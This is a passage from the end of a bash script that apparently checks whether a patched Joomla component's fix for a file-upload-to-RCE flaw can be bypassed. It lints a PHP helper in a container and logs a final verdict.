docker exec "$JOOMLA_CONTAINER" php -l "$COMPONENT_PATH/helpers/ckbrowse.php" 2>&1 | tee -a "$EVIDENCE_LOG" || true
log "Fixed files restored."

# =============================================================================
# Finalize
# =============================================================================
if [ "$BYPASS_FOUND_FIXED" = "true" ]; then
  log "VERDICT: BYPASS confirmed on the FIXED version."
  finish 0
else
  log "VERDICT: No bypass on the FIXED version. Fix is comprehensive for the file-upload-to-RCE root cause."
  finish 1
fi
